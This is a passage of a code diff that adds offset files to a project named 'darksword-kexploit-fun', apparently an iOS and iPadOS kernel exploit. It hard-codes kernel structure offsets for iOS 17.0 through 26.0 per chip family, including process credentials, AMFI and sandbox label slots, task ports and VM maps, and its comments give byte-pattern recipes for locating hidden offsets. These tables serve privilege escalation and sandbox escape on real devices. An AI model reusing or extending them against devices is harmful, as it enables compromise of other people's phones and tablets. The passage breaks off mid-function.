off_thread_machine_upcb; +extern uint32_t off_thread_machine_contextdata; +extern uint32_t off_thread_ctid; +extern uint32_t off_thread_options; +extern uint32_t off_thread_mutex_lck_mtx_data; +extern uint32_t off_thread_machine_kstackptr; +extern uint32_t off_thread_guard_exc_info_code; +extern uint32_t off_thread_mach_exc_info_code; +extern uint32_t off_thread_mach_exc_info_os_reason; +extern uint32_t off_thread_mach_exc_info_exception_type; +extern uint32_t off_thread_ast; +extern uint32_t off_thread_task_threads_next; +extern uint32_t off_thread_machine_jop_pid; +extern uint32_t off_thread_machine_rop_pid; +extern uint32_t off_proc_p_list_le_next; +extern uint32_t off_proc_p_list_le_prev; +extern uint32_t off_proc_p_proc_ro; +extern uint32_t off_proc_p_pid; +extern uint32_t off_proc_p_fd; +extern uint32_t off_proc_p_flag; +extern uint32_t off_proc_p_textvp; +extern uint32_t off_proc_p_name; +extern uint32_t off_proc_ro_pr_task; +extern uint32_t off_proc_ro_p_ucred; +extern uint32_t off_ucred_cr_label; +extern uint32_t off_task_itk_space; +extern uint32_t off_task_threads_next; +extern uint32_t off_task_task_exc_guard; +extern uint32_t off_task_map; +extern uint32_t off_filedesc_fd_ofiles; +extern uint32_t off_filedesc_fd_cdir; +extern uint32_t off_fileproc_fp_glob; +extern uint32_t off_fileglob_fg_data; +extern uint32_t off_fileglob_fg_flag; +extern uint32_t off_vnode_v_ncchildren_tqh_first; +extern uint32_t off_vnode_v_nclinks_lh_first; +extern uint32_t off_vnode_v_parent; +extern uint32_t off_vnode_v_data; +extern uint32_t off_vnode_v_name; +extern uint32_t off_vnode_v_usecount; +extern uint32_t off_vnode_v_iocount; +extern uint32_t off_vnode_v_writecount; +extern uint32_t off_vnode_v_flag; +extern uint32_t off_vnode_v_mount; +extern uint32_t off_mount_mnt_flag; +extern uint32_t off_namecache_nc_vp; +extern uint32_t off_namecache_nc_child_tqe_next; +extern uint32_t off_arm_saved_state64_lr; +extern uint32_t off_arm_saved_state64_pc; +extern uint32_t off_arm_saved_state_uss_ss_64; +extern uint32_t off_ipc_space_is_table; +extern uint32_t off_ipc_entry_ie_object; +extern uint32_t off_ipc_port_ip_kobject; +extern uint32_t off_arm_kernel_saved_state_sp; +extern uint32_t off_vm_map_hdr; +extern uint32_t off_vm_map_header_nentries; +extern uint32_t off_vm_map_entry_links_next; +extern uint32_t off_vm_map_entry_vme_object_or_delta; +extern uint32_t off_vm_map_entry_vme_alias; +extern uint32_t off_vm_map_header_links_next; +extern uint32_t off_vm_object_vo_un1_vou_size; +extern uint32_t off_vm_object_ref_count; +extern uint32_t off_vm_named_entry_backing_copy; +extern uint32_t off_vm_named_entry_size; +extern uint32_t off_label_l_perpolicy_amfi; +extern uint32_t off_label_l_perpolicy_sandbox; + +extern uint32_t sizeof_ipc_entry; + +extern uint64_t smr_base; +extern uint64_t t1sz_boot; +extern uint64_t pac_mask; + +extern uint64_t VM_MIN_KERNEL_ADDRESS; +extern uint64_t VM_MAX_KERNEL_ADDRESS; + +void offsets_init(void); diff --git a/kexploit/offsets.m b/kexploit/offsets.m new file mode 100644 index 0000000..a4e1064 --- /dev/null +++ b/kexploit/offsets.m @@ -0,0 +1,976 @@ +// +// offsets.m +// darksword-kexploit-fun +// +// Created by seo on 3/24/26. +// + +#import "offsets.h" +#import "kexploit_opa334.h" +#import "machine_info.h" +#import +#import +#import + +/* +Currently, I've tested on.. +- iPhone12,8 (iOS 17.0) +- iPhone13,1 (iOS 17.6.1) +- iPhone15,2 (iOS 17.2.1) +- iPad7,11 (18.0) +- iPhone14,6 (iOS 18.6.2) +- iPhone14,6 (iOS 26.0) + */ + +// You can obtain offsets from macOS KDK that matching xnu version; always not same with iOS, but almost similar. +uint32_t off_inpcb_inp_list_le_next = 0; // (lldb) p/x offsetof(inpcb, inp_list.le_next) +uint32_t off_inpcb_inp_pcbinfo = 0; // (lldb) p/x offsetof(inpcb, inp_pcbinfo) +uint32_t off_inpcb_inp_socket = 0; // (lldb) p/x offsetof(inpcb, inp_socket) +uint32_t off_inpcb_inp_depend6_inp6_icmp6filt = 0; // (lldb) p/x offsetof(inpcb, inp_depend6.inp6_icmp6filt) +uint32_t off_inpcb_inp_depend6_inp6_chksum = 0; // (lldb) p/x offsetof(inpcb, inp_depend6.inp6_cksum) +uint32_t off_inpcbinfo_ipi_zone = 0; // (lldb) p/x offsetof(inpcbinfo, ipi_zone) +uint32_t off_socket_so_usecount = 0; // (lldb) p/x offsetof(socket, so_usecount) +uint32_t off_socket_so_proto = 0; // (lldb) p/x offsetof(socket, so_proto) +uint32_t off_socket_so_background_thread = 0; // (lldb) p/x offsetof(socket, so_background_thread) +uint32_t off_kalloc_type_view_kt_zv_zv_name = 0; // (lldb) p/x offsetof(kalloc_type_view, kt_zv.zv_name) +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, t_tro) +// iOS 17.x, 18.x, 26.x: find hex E1 00 00 54 28 00 40 F9 1F 01 00 EB C1 00 00 54, and get it from prologue+0xc or +0x10; +uint32_t off_thread_t_tro = 0; +uint32_t off_thread_ro_tro_proc = 0; // (lldb) p/x offsetof(thread_ro, tro_proc) +uint32_t off_thread_ro_tro_task = 0; // (lldb) p/x offsetof(thread_ro, tro_task) +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, machine.upcb) +// iOS 17.x, 18.x: find hex 88 42 40 B9 08 69 1B 12, xref search to identify the function that references it TWICE. Then, determine offset at prologue + 0x24 of that specific function. +// iOS 26.x: find hex 88 42 40 B9 08 69 1B 12, xref search to identify the function that references it TWICE. Then, determine offset at prologue + 0x1c or +0x24 of that specific function. +uint32_t off_thread_machine_upcb = 0; +uint32_t off_thread_machine_contextdata = 0; // just substract 8 from off_thread_machine_upcb. (lldb) p/x offsetof(thread, machine.contextData) +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, ctid) +// iOS 17.x: find hex F4 03 00 AA 1A 7F 40 93, and get it from prologue+0x6c; +// iOS 18.0+: find hex F4 03 00 AA 19 3D 00 12, and get it from prologue+0x6c(LDR); +// iOS 18.4 - 26.x: find hex ?? ?? FF B5 ?? ?? ?? ?? ?? ?? ?? ?? 02 00 80 52 03 00 80 52 04 00 80 12, and get it from prologue+0x64(LDR); +uint32_t off_thread_ctid = 0; +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, options) +// iOS 17.x - 18.3: find hex 08 7D 14 9B 09 FD 42 D3, and get if from prologue+0x20(LDRH); +// iOS 18.4 - 26.x: find hex E0 03 13 AA 02 00 F0 92 03 00 80 52, and get if from prologue+0x20(LDRH); +uint32_t off_thread_options = 0; +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, mutex.lck_mtx.data) +// iOS 17.x, 18.x, 26.x: xref str "called exception_triage when it was forbidden by the boot environment @%s:%d", get value from prologue+0x44 or +0x40(ADD), and finally calculate by adding 8. +uint32_t off_thread_mutex_lck_mtx_data = 0; +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, machine.kstackptr) +// iOS 17.x, 18.x: find hex 60 01 80 52 02 00 80 52, and get it from prologue+0x80, +0x84 or +0x8c(second STR); +// iOS 26.x: find hex 60 01 80 52 02 00 80 52, and get it from prologue+0x8c or +0x84(second STR); +uint32_t off_thread_machine_kstackptr = 0; +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, machine.jop_pid) +// iOS 17.x, 18.x, 26.x: find matched instr via search hex 3F 01 00 71 E8 03 88 9A ?? ?? ?? B9, find bl func from matched instr, and get it from bl func (`machine_thread_siguctx_pointer_convert_to_user`) prologue+0x38 or +0x3c(LDR); (lldb) p/x offsetof(thread, machine.rop_pid) +uint32_t off_thread_machine_jop_pid = 0; +uint32_t off_thread_machine_rop_pid = 0; // substract 8 from off_thread_machine_jop_pid; (lldb) p/x offsetof(thread, machine.jop_pid) +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, guard_exc_info.code) +// iOS 17.x-18.3.x: find str "guard_exc_info %llx %llx @%s:%d", and get it from prologue+0x10(first LDR); +// iOS 18.4+: no more exist, renamed to mach_exc_info.code +uint32_t off_thread_guard_exc_info_code = 0; +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, mach_exc_info.code) +// iOS 26.x: find str "guard_exc_info %llx %llx @%s:%d", and get it from prologue+0x28; (3rd LDR) +uint32_t off_thread_mach_exc_info_code = 0; +uint32_t off_thread_mach_exc_info_os_reason = 0; //substract 8 from off_thread_mach_exc_info_code. (lldb) p/x offsetof(thread, mach_exc_info.os_reason) +uint32_t off_thread_mach_exc_info_exception_type = 0; //substract 4 from off_thread_mach_exc_info_code. (lldb) p/x offsetof(thread, mach_exc_info.exception_type) +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, ast) +// iOS 17.x: find hex E9 07 9F 1A 08 79 1C 12 08 0D 09 2A, and get it from prologue+0x80 (ADD instr); +// iOS 18.0+: find hex E9 07 9F 1A 08 79 1C 12 08 0D 09 2A, and get it from prologue+0x90 (ADD instr); +// iOS 18.4+: find hex 09 80 C0 D2 09 00 E4 F2 01 01 09 AA E0 03 13 AA, get func by instr+0x14, and and get it from func prologue+0xa0(ADD instr) or 0xac(LDR instr); +// iOS 26.x: find hex 09 01 80 52 9F 02 00 71, and get it from prologue+0xa0(ADD instr) or 0xac(LDR instr); +uint32_t off_thread_ast = 0; +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, task_threads.next) +// iOS 17.x: find hex 1F 01 09 EB 81 FF FF 54, and get it from prologue+0x5c; +// iOS 18.0+: find hex E2 03 08 AA 3F FD A2 88 B6 00 80 52 5F 00 08 6B, and get it from prologue+0x5c(LDR); +// iOS 18.4+: find hex E2 03 08 AA BF FE A2 88 B4 00 80 52, and get it from prologue+0x58; +// iOS 26.x: find hex E2 03 08 AA BF FE A2 88 B4 00 80 52, and get it from prologue+0x58; +uint32_t off_thread_task_threads_next = 0; +uint32_t off_proc_p_list_le_next = 0; // (lldb) p/x offsetof(proc, p_list.le_next) +uint32_t off_proc_p_list_le_prev = 0; // (lldb) p/x offsetof(proc, p_list.le_prev) +uint32_t off_proc_p_proc_ro = 0; // (lldb) p/x offsetof(proc, p_proc_ro) +uint32_t off_proc_p_pid = 0; // (lldb) p/x offsetof(proc, p_pid) +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(proc, p_fd) +// iOS 17.x: find hex 8A 5A 01 B9 29 05 64 B2 EA 02 05 91 49 7D E8 C8, and get it from prologue+0x50(ADD); +// iOS 18.x: find hex ED 13 04 32 8C 01 0D 0B 9F 01 09 6B A3 14 00 54, and get it from prologue+0x50(ADD); +// iOS 26.x: find hex ?? ?? FF 34 E9 03 0A AA 4B 05 00 11 0B 7C AA 88 5F 01 09 6B, and get it from prologue+0x48; +uint32_t off_proc_p_fd = 0; +// NOT POSSIBLE to find offset from KDK. (lldb) p/x offsetof(proc, p_flag) +// iOS 17.x, 18.x: find hex 09 00 B0 52 08 11 29 B8 E0, and get it from prologue+0x60(LDR); +// iOS 26.x: find hex E8 03 00 AA E0 03 13 AA 88 00 00 34 ?? ?? ?? 94, and get it from prologue+0x7c or +0x78 (LDR, right before LSR) +uint32_t off_proc_p_flag = 0; +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(proc, p_textvp) +// iOS 17.x, 18.x, 26.x: xref str "exec_resettextvp: expected valid vp @%s:%d", and get it from prologue+0x28 (first LDR); +uint32_t off_proc_p_textvp = 0; +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(proc, p_name) +// iOS 17.x, 18.x, 26.x: xref str "initproc", and then get it from instr-0x4 +uint32_t off_proc_p_name = 0; +uint32_t off_proc_ro_pr_task = 0; // (lldb) p/x offsetof(proc_ro, pr_task) +uint32_t off_proc_ro_p_ucred = 0; // (lldb) p/x offsetof(proc_ro, p_ucred), newly changed in iOS 18.4+ +uint32_t off_ucred_cr_label = 0; // (lldb) p/x offsetof(ucred, cr_label) +// NOT POSSIBLE to find offset from KDK, since iOS 18+. (lldb) p/x offsetof(task, itk_space) +// iOS 17.x, 18.x, 26.x: find hex 68 1A 40 B9 08 41 00 51 1F 15 00 71, and get it from prologue+0x4c or + 0x50(LDR) +uint32_t off_task_itk_space = 0; +uint32_t off_task_threads_next = 0; // (lldb) p/x offsetof(task, threads.next) +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(task, task_exc_guard) +// iOS 17.x, 18.x, 26.x: find hex BF 06 02 71 E3 27 9F 1A, and get it from prologue+0x34(LDRB); +uint32_t off_task_task_exc_guard = 0; +uint32_t off_task_map = 0; // (lldb) p/x offsetof(task, map) +uint32_t off_filedesc_fd_ofiles = 0; // (lldb) p/x offsetof(filedesc, fd_ofiles) +uint32_t off_filedesc_fd_cdir = 0; // (lldb) p/x offsetof(filedesc, fd_cdir) +uint32_t off_fileproc_fp_glob = 0; // (lldb) p/x offsetof(fileproc, fp_glob) +uint32_t off_fileglob_fg_data = 0; // (lldb) p/x offsetof(fileglob, fg_data) +uint32_t off_fileglob_fg_flag = 0; // (lldb) p/x offsetof(fileglob, fg_flag) +uint32_t off_vnode_v_ncchildren_tqh_first = 0; // (lldb) p/x offsetof(vnode, v_ncchildren.tqh_first) +uint32_t off_vnode_v_nclinks_lh_first = 0; // (lldb) p/x offsetof(vnode, v_nclinks.lh_first) +uint32_t off_vnode_v_parent = 0; // (lldb) p/x offsetof(vnode, v_parent) +uint32_t off_vnode_v_data = 0; // (lldb) p/x offsetof(vnode, v_data) +uint32_t off_vnode_v_name = 0; // (lldb) p/x offsetof(vnode, v_name) +uint32_t off_vnode_v_usecount = 0; // (lldb) p/x offsetof(vnode, v_usecount) +uint32_t off_vnode_v_iocount = 0; // (lldb) p/x offsetof(vnode, v_iocount) +uint32_t off_vnode_v_writecount = 0; // (lldb) p/x offsetof(vnode, v_writecount) +uint32_t off_vnode_v_flag = 0; // (lldb) p/x offsetof(vnode, v_flag) +uint32_t off_vnode_v_mount = 0; // (lldb) p/x offsetof(vnode, v_mount) +uint32_t off_mount_mnt_flag = 0; // (lldb) p/x offsetof(mount, mnt_flag) +uint32_t off_namecache_nc_vp = 0; // (lldb) p/x offsetof(namecache, nc_vp) +uint32_t off_namecache_nc_child_tqe_next = 0; // (lldb) p/x offsetof(namecache, nc_child.tqe_next) +uint32_t off_arm_saved_state64_lr = 0; // (lldb) p/x offsetof(arm_saved_state64, lr) +uint32_t off_arm_saved_state64_pc = 0; // (lldb) p/x offsetof(arm_saved_state64, pc) +uint32_t off_arm_saved_state_uss_ss_64 = 0; // (lldb) p/x offsetof(arm_saved_state, uss.ss_64) +uint32_t off_ipc_space_is_table = 0; // (lldb) p/x offsetof(ipc_space, is_table) +uint32_t off_ipc_entry_ie_object = 0; // (lldb) p/x offsetof(ipc_entry, ie_object) +uint32_t off_ipc_port_ip_kobject = 0; // (lldb) p/x offsetof(ipc_port, ip_kobject) +uint32_t off_arm_kernel_saved_state_sp = 0; // (lldb) p/x offsetof(arm_kernel_saved_state, sp) +uint32_t off_vm_map_hdr = 0; // (lldb) p/x offsetof(_vm_map, hdr) +uint32_t off_vm_map_header_nentries = 0; // (lldb) p/x offsetof(vm_map_header, nentries) +uint32_t off_vm_map_entry_links_next = 0; // (lldb) p/x offsetof(vm_map_entry, links.next) +uint32_t off_vm_map_entry_vme_object_or_delta = 0; // (lldb) p/x offsetof(vm_map_entry, vme_object_or_delta) +uint32_t off_vm_map_entry_vme_alias = 0; // (lldb) p/x offsetof(vm_map_entry, vme_alias) +uint32_t off_vm_map_header_links_next = 0; // (lldb) p/x offsetof(vm_map_header, links.next) +uint32_t off_vm_object_vo_un1_vou_size = 0; // (lldb) p/x offsetof(vm_object, vo_un1.vou_size) +uint32_t off_vm_object_ref_count = 0; // (lldb) p/x offsetof(vm_object, ref_count) +uint32_t off_vm_named_entry_backing_copy = 0; // (lldb) p/x offsetof(vm_named_entry, backing.copy) +uint32_t off_vm_named_entry_size = 0; // (lldb) p/x offsetof(vm_named_entry, size) +uint32_t off_label_l_perpolicy_amfi = 0; // based on __Z14amfi_cslot_getP5label(_amfi_mac_slot) from kernel_ipadm3_183; (lldb) p/x offsetof(label, l_perpolicy[0]) +uint32_t off_label_l_perpolicy_sandbox = 0; // based on _label_get_sandbox(_label_slot_0) from kernel_ipadm3_183; (lldb) p/x offsetof(label, l_perpolicy[1]) + +uint32_t sizeof_ipc_entry = 0; // (lldb) p/x sizeof(ipc_entry) + +uint64_t smr_base = 0; // find hex 09 1D 08 12 08 11 10 12, get first orr instr from prologue, and check if equals `hex(2 or 3 << (62-T1SZ_BOOT))`. on iOS 17.0-17.7, it's 2 +uint64_t t1sz_boot = 0; // just run ./xpf-test +uint64_t pac_mask = 0; +uint64_t VM_MIN_KERNEL_ADDRESS = 0; +uint64_t VM_MAX_KERNEL_ADDRESS = 0; + + +bool gIsPACSupported = false; +bool gIsA18Above = false; + +cpu_subtype_t get_hw_cpufamily(void) { + cpu_subtype_t cpuFamily = 0; + size_t cpuFamilySize = sizeof(cpuFamily); + sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0); + return cpuFamily; +} + +bool is_pac_supported(void) { + cpu_subtype_t cpusubtype = 0; + size_t sz = sizeof(cpusubtype); + if (sysctlbyname("hw.cpusubtype", &cpusubtype, &sz, NULL, 0) != 0) return false; + if (cpusubtype == CPU_SUBTYPE_ARM64E) return true; + return false; +} + +static bool is_ipad_device(void) { + char machine[64] = {0}; + size_t sz = sizeof(machine); + sysctlbyname("hw.machine", machine, &sz, NULL, 0); + return strncmp(machine, "iPad", 4) == 0; +} + +void offsets_init(void) { + if (!(SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"17.0") && SYSTEM_VERSION_LESS_THAN(@"26.1"))) { + printf("[-] Only supported offset for iOS/iPadOS 17.0 - 26.0.x\n"); + exit(EXIT_FAILURE); + } + + cpu_subtype_t cpuFamily = get_hw_cpufamily(); + + bool isA10 = (cpuFamily == CPUFAMILY_ARM_HURRICANE); // A10 + + bool isA13Above = (cpuFamily == CPUFAMILY_ARM_LIGHTNING_THUNDER || // A13 + cpuFamily == CPUFAMILY_ARM_FIRESTORM_ICESTORM || // A14, M1 + cpuFamily == CPUFAMILY_ARM_BLIZZARD_AVALANCHE || // A15, M2 + cpuFamily == CPUFAMILY_ARM_EVEREST_SAWTOOTH || // A16 + cpuFamily == CPUFAMILY_ARM_COLL || // A17 + cpuFamily == CPUFAMILY_ARM_IBIZA || // M3 + cpuFamily == CPUFAMILY_ARM_TUPAI || // A18 + cpuFamily == CPUFAMILY_ARM_TAHITI || // A18 Pro + cpuFamily == CPUFAMILY_ARM_DONAN || // M4 + cpuFamily == CPUFAMILY_ARM_TILOS || // A19 + cpuFamily == CPUFAMILY_ARM_THERA); // A19 Pro + + bool isA15Above = (cpuFamily == CPUFAMILY_ARM_BLIZZARD_AVALANCHE || // A15, M2 + cpuFamily == CPUFAMILY_ARM_EVEREST_SAWTOOTH || // A16 + cpuFamily == CPUFAMILY_ARM_COLL || // A17 + cpuFamily == CPUFAMILY_ARM_IBIZA || // M3 + cpuFamily == CPUFAMILY_ARM_TUPAI || // A18 + cpuFamily == CPUFAMILY_ARM_TAHITI || // A18 Pro + cpuFamily == CPUFAMILY_ARM_DONAN || // M4 + cpuFamily == CPUFAMILY_ARM_TILOS || // A19 + cpuFamily == CPUFAMILY_ARM_THERA); // A19 Pro + + bool isA16Above = (cpuFamily == CPUFAMILY_ARM_EVEREST_SAWTOOTH || // A16 + cpuFamily == CPUFAMILY_ARM_COLL || // A17 + cpuFamily == CPUFAMILY_ARM_IBIZA || // M3 + cpuFamily == CPUFAMILY_ARM_TUPAI || // A18 + cpuFamily == CPUFAMILY_ARM_TAHITI || // A18 Pro + cpuFamily == CPUFAMILY_ARM_DONAN || // M4 + cpuFamily == CPUFAMILY_ARM_TILOS || // A19 + cpuFamily == CPUFAMILY_ARM_THERA); // A19 Pro + + bool isA17Above = (cpuFamily == CPUFAMILY_ARM_COLL || // A17 + cpuFamily == CPUFAMILY_ARM_IBIZA || // M3 + cpuFamily == CPUFAMILY_ARM_TUPAI || // A18 + cpuFamily == CPUFAMILY_ARM_TAHITI || // A18 Pro + cpuFamily == CPUFAMILY_ARM_DONAN || // M4 + cpuFamily == CPUFAMILY_ARM_TILOS || // A19 + cpuFamily == CPUFAMILY_ARM_THERA); // A19 Pro + + gIsA18Above = (cpuFamily == CPUFAMILY_ARM_TUPAI || // A18 + cpuFamily == CPUFAMILY_ARM_TAHITI || // A18 Pro + cpuFamily == CPUFAMILY_ARM_DONAN || // M4 + cpuFamily == CPUFAMILY_ARM_TILOS || // A19 + cpuFamily == CPUFAMILY_ARM_THERA); // A19 Pro + + bool isMSeriesIpad = is_ipad_device() && ( + cpuFamily == CPUFAMILY_ARM_FIRESTORM_ICESTORM || // M1 + cpuFamily == CPUFAMILY_ARM_BLIZZARD_AVALANCHE || // M2 + cpuFamily == CPUFAMILY_ARM_IBIZA || // M3 + cpuFamily == CPUFAMILY_ARM_DONAN); // M4 + + gIsPACSupported = is_pac_supported(); + + // Obtained offsets from Sonoma 14.0 (KDK), similar with iOS 17.0 + // iOS 17.0.x + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"17.0")) { + off_inpcb_inp_list_le_next = 0x20; // 17.0-17.7.x + off_inpcb_inp_pcbinfo = 0x38; // 17.0-17.7.x + off_inpcb_inp_socket = 0x40; // 17.0-17.7.x + off_inpcb_inp_depend6_inp6_icmp6filt = 0x150; //17.0, 17.1-17.7.x + off_inpcb_inp_depend6_inp6_chksum = 0x158; //17.0, 17.1-17.7.x + off_inpcbinfo_ipi_zone = 0x68; // 17.0-17.7.x + off_socket_so_usecount = 0x22c; //17.0, 17.1-17.3.x, 17.4-17.7.x + off_socket_so_proto = 0x18; //17.0-17.3.x, 17.4-17.7.x + off_socket_so_background_thread = 0x288; //17.0, 17.1-17.3.x, 17.4-17.7.x + off_kalloc_type_view_kt_zv_zv_name = 0x10; // 17.0-17.7.x + off_thread_ro_tro_proc = 0x10; //17.0-17.3.x, 17.4-17.7.x + off_thread_ro_tro_task = 0x20; //17.0-17.3.x, 17.4-17.7.x + off_thread_machine_upcb = 0xb0; //different PER DEVICES; A12+, A17&M4, A10 + off_thread_machine_contextdata = 0xb0-8; //different PER DEVICES; A12+, A17&M4, A10 + off_thread_t_tro = 0x358; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10 + off_thread_ctid = 0x408; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10 + off_thread_options = 0x70; //different PER DEVICES; A12+, A17&M4, A10 + off_thread_mutex_lck_mtx_data = 0x380+8; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10 + off_thread_machine_kstackptr = 0xe8; //different PER DEVICES; A12, A13+, A17&M4, A10 + off_thread_machine_jop_pid = 0x158; //different PER DEVICES; A12, A13+, A15+, A17&M4 + off_thread_machine_rop_pid = 0x158-8; //different PER DEVICES; A12, A13+, A15+, A17&M4 + off_thread_guard_exc_info_code = 0x308; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10 + off_thread_ast = 0x37c; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10 + off_thread_task_threads_next = 0x348; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10 + off_proc_p_list_le_next = 0x0; //17.0-17.7 + off_proc_p_list_le_prev = 0x8; //17.0-17.7 + off_proc_p_proc_ro = 0x18; //17.0-17.7 + off_proc_p_pid = 0x60; //17.0-17.7 + off_proc_p_fd = 0xd0; //17.0-17.7 + off_proc_p_flag = 0x454; //17.0-17.7 + off_proc_p_textvp = 0x548; //17.0-17.7 + off_proc_p_name = 0x579; //17.0-17.3.x, 17.4-17.7.x + off_proc_ro_pr_task = 0x8; //17.0-17.7 + off_proc_ro_p_ucred = 0x20; //17.0-17.7 + off_ucred_cr_label = 0x78; //17.0-17.7 + off_task_itk_space = 0x300; //17.0-17.7 + off_task_threads_next = 0x58; //17.0-17.7 + off_task_task_exc_guard = 0x5bc; //different PER DEVICES; A12, A15+, M4, A10 + off_task_map = 0x28; //17.0-17.7 + off_filedesc_fd_ofiles = 0x28; //17.0-17.7 + off_filedesc_fd_cdir = 0x48; //17.0-17.7 + off_fileproc_fp_glob = 0x10; //17.0-17.7 + off_fileglob_fg_data = 0x38; //17.0-17.7 + off_fileglob_fg_flag = 0x10; //17.0-17.7 + off_vnode_v_ncchildren_tqh_first = 0x30; //17.0-17.7 + off_vnode_v_nclinks_lh_first = 0x40; //17.0-17.7 + off_vnode_v_parent = 0xc0; //17.0-17.7 + off_vnode_v_data = 0xe0; //17.0-17.7 + off_vnode_v_name = 0xb8; //17.0-17.7 + off_vnode_v_usecount = 0x60; //17.0-17.7 + off_vnode_v_iocount = 0x64; //17.0-17.7 + off_vnode_v_writecount = 0xb0; //17.0-17.7 + off_vnode_v_flag = 0x54; //17.0-17.7 + off_vnode_v_mount = 0xd8; //17.0-17.7 + off_mount_mnt_flag = 0x70; //17.0-17.7 + off_namecache_nc_vp = 0x50; //17.0-17.7 + off_namecache_nc_child_tqe_next = 0x10; //17.0-17.7 + off_arm_saved_state64_lr = 0xf0; //17.0-17.7 + off_arm_saved_state64_pc = 0x100; //17.0-17.7 + off_arm_saved_state_uss_ss_64 = 0x8; //17.0-17.7 + off_ipc_space_is_table = 0x20; //17.0-17.7 + off_ipc_entry_ie_object = 0; //17.0-17.7 + off_ipc_port_ip_kobject = 0x48; //17.0-17.7 + off_arm_kernel_saved_state_sp = 0x60; //17.0-17.7 + off_vm_map_hdr = 0x10; //17.0-17.7 + off_vm_map_header_nentries = 0x20; //17.0-17.7 + off_vm_map_entry_links_next = 0x8; //17.0-17.7 + off_vm_map_entry_vme_object_or_delta = 0x3c; //17.0-17.7 + off_vm_map_entry_vme_alias = 0x40; //17.0-17.7 + off_vm_map_header_links_next = 0x8; //17.0-17.7 + off_vm_object_vo_un1_vou_size = 0x18; //17.0-17.7 + off_vm_object_ref_count = 0x28; //17.0-17.7 + off_vm_named_entry_backing_copy = 0x10; //17.0-17.7 + off_vm_named_entry_size = 0x20; //17.0-17.7 + off_label_l_perpolicy_amfi = 0x8; //17.0-17.7 + off_label_l_perpolicy_sandbox = 0x10; //17.0-17.7 + + smr_base = 2; + t1sz_boot = 0x19; + sizeof_ipc_entry = 0x18; + VM_MIN_KERNEL_ADDRESS = 0xFFFFFFDC00000000; + VM_MAX_KERNEL_ADDRESS = 0xFFFFFFFBFFFFFFFF; + + if(isA13Above) { + off_thread_t_tro = 0x368; + off_thread_ctid = 0x418; + off_thread_mutex_lck_mtx_data = 0x390+8; + off_thread_machine_kstackptr = 0xf0; + off_thread_machine_jop_pid = 0x160; + off_thread_machine_rop_pid = 0x160-8; + off_thread_guard_exc_info_code = 0x318; + off_thread_ast = 0x38c; + off_thread_task_threads_next = 0x358; + } + + if(isA15Above) { + off_thread_t_tro = 0x370; + off_thread_ctid = 0x420; + off_thread_mutex_lck_mtx_data = 0x398+8; + off_thread_machine_jop_pid = 0x168; + off_thread_machine_rop_pid = 0x168-8; + off_thread_guard_exc_info_code = 0x320; + off_thread_ast = 0x394; + off_thread_task_threads_next = 0x360; + off_task_task_exc_guard = 0x5d4; + } + + if(isA16Above || isMSeriesIpad) { + t1sz_boot = 0x11; + } + + if(isA17Above) { + off_thread_machine_upcb = 0x100; + off_thread_machine_contextdata = 0x100-8; + off_thread_t_tro = 0x3c0; + off_thread_ctid = 0x470; + off_thread_options = 0xc0; + off_thread_mutex_lck_mtx_data = 0x3e8+8; + off_thread_machine_kstackptr = 0x140; + off_thread_machine_jop_pid = 0x1B8; + off_thread_machine_rop_pid = 0x1B8-8; + off_thread_guard_exc_info_code = 0x370; + off_thread_ast = 0x3e4; + off_thread_task_threads_next = 0x3b0; + } + + if(isA10) { + off_thread_machine_upcb = 0xf8; + off_thread_machine_contextdata = 0xf8-8; + off_thread_t_tro = 0x388; + off_thread_ctid = 0x438; + off_thread_options = 0xb8; + off_thread_mutex_lck_mtx_data = 0x3b0+8; + off_thread_machine_kstackptr = 0x130; + off_thread_machine_jop_pid = 0xdeaddead; // exists only PAC-devices + off_thread_machine_rop_pid = 0xdeaddead; // exists only PAC-devices + off_thread_guard_exc_info_code = 0x338; + off_thread_ast = 0x3ac; + off_thread_task_threads_next = 0x378; + off_task_task_exc_guard = 0x59c; + } + + if(isMSeriesIpad) { + VM_MIN_KERNEL_ADDRESS = 0xFFFFFE0000000000; + VM_MAX_KERNEL_ADDRESS = 0xFFFFFE8FFFFFFFFF; + } + } + // iOS 17.1-17.3 + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"17.1")) { + off_inpcb_inp_depend6_inp6_icmp6filt = 0x148; + off_inpcb_inp_depend6_inp6_chksum = 0x150; + off_socket_so_usecount = 0x24c; + off_socket_so_background_thread = 0x2a8; + off_thread_t_tro = 0x368; + off_thread_ctid = 0x418; + off_thread_mutex_lck_mtx_data = 0x390+8; + off_thread_guard_exc_info_code = 0x318; + off_thread_ast = 0x38C; + off_thread_task_threads_next = 0x358; + + if(isA13Above) { + off_thread_t_tro = 0x378; + off_thread_ctid = 0x428; + off_thread_mutex_lck_mtx_data = 0x3a0+8; + off_thread_guard_exc_info_code = 0x328; + off_thread_ast = 0x39c; + off_thread_task_threads_next = 0x368; + } + + if(isA15Above) { + off_thread_t_tro = 0x380; + off_thread_ctid = 0x430; + off_thread_mutex_lck_mtx_data = 0x3a8+8; + off_thread_guard_exc_info_code = 0x330; + off_thread_ast = 0x3A4; + off_thread_task_threads_next = 0x370; + } + + 